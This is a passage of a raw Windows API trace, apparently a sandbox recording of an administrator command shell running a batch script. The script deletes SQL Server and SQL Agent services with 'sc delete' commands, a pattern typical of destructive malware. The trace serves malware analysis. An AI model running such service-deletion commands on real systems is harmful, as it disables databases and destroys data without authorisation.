(in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.600] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.600] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.600] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.600] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="QSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="LQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="AL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="g$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="eWOLTERSKLUWER\"\n\n\n") returned 1 [0071.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="nOLTERSKLUWER\"\n\n\n") returned 1 [0071.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="tLTERSKLUWER\"\n\n\n") returned 1 [0071.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="$TERSKLUWER\"\n\n\n") returned 1 [0071.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="PERSKLUWER\"\n\n\n") returned 1 [0071.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="RRSKLUWER\"\n\n\n") returned 1 [0071.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="OSKLUWER\"\n\n\n") returned 1 [0071.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="GKLUWER\"\n\n\n") returned 1 [0071.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="ILUWER\"\n\n\n") returned 1 [0071.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="DUWER\"\n\n\n") returned 1 [0071.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="\"WER\"\n\n\n") returned 1 [0071.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="\nER\"\n\n\n") returned 1 [0071.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.604] GetFileType (hFile=0xb8) returned 0x3 [0071.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.604] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.604] GetFileType (hFile=0x120) returned 0x3 [0071.604] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$PROGID\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$PROGID\"\n", lpUsedDefaultChar=0x0) returned 29 [0071.604] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1c, lpOverlapped=0x0) returned 1 [0071.605] GetProcessHeap () returned 0x4a0000 [0071.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.605] GetProcessHeap () returned 0x4a0000 [0071.605] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.605] GetProcessHeap () returned 0x4a0000 [0071.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.605] GetProcessHeap () returned 0x4a0000 [0071.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.605] GetProcessHeap () returned 0x4a0000 [0071.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa40 [0071.605] GetConsoleOutputCP () returned 0x1b5 [0071.605] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.605] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.605] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.605] GetProcessHeap () returned 0x4a0000 [0071.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.605] GetProcessHeap () returned 0x4a0000 [0071.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4a) returned 0x4bba10 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0071.606] SetErrorMode (uMode=0x0) returned 0x1 [0071.606] SetErrorMode (uMode=0x1) returned 0x0 [0071.606] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.606] SetErrorMode (uMode=0x1) returned 0x1 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0071.606] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.606] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.606] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.606] GetProcessHeap () returned 0x4a0000 [0071.606] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.607] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.607] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.607] GetLastError () returned 0x2 [0071.607] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.607] GetLastError () returned 0x2 [0071.607] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.607] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.607] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.607] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.607] GetLastError () returned 0x2 [0071.608] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.608] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.608] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.608] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.608] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.608] GetProcessHeap () returned 0x4a0000 [0071.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.608] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.608] GetProcessHeap () returned 0x4a0000 [0071.608] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb0) returned 0x4b9180 [0071.608] GetProcessHeap () returned 0x4a0000 [0071.608] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb0 [0071.608] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$PROGID\"") returned 1 [0071.609] GetProcessHeap () returned 0x4a0000 [0071.609] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.609] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.609] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, 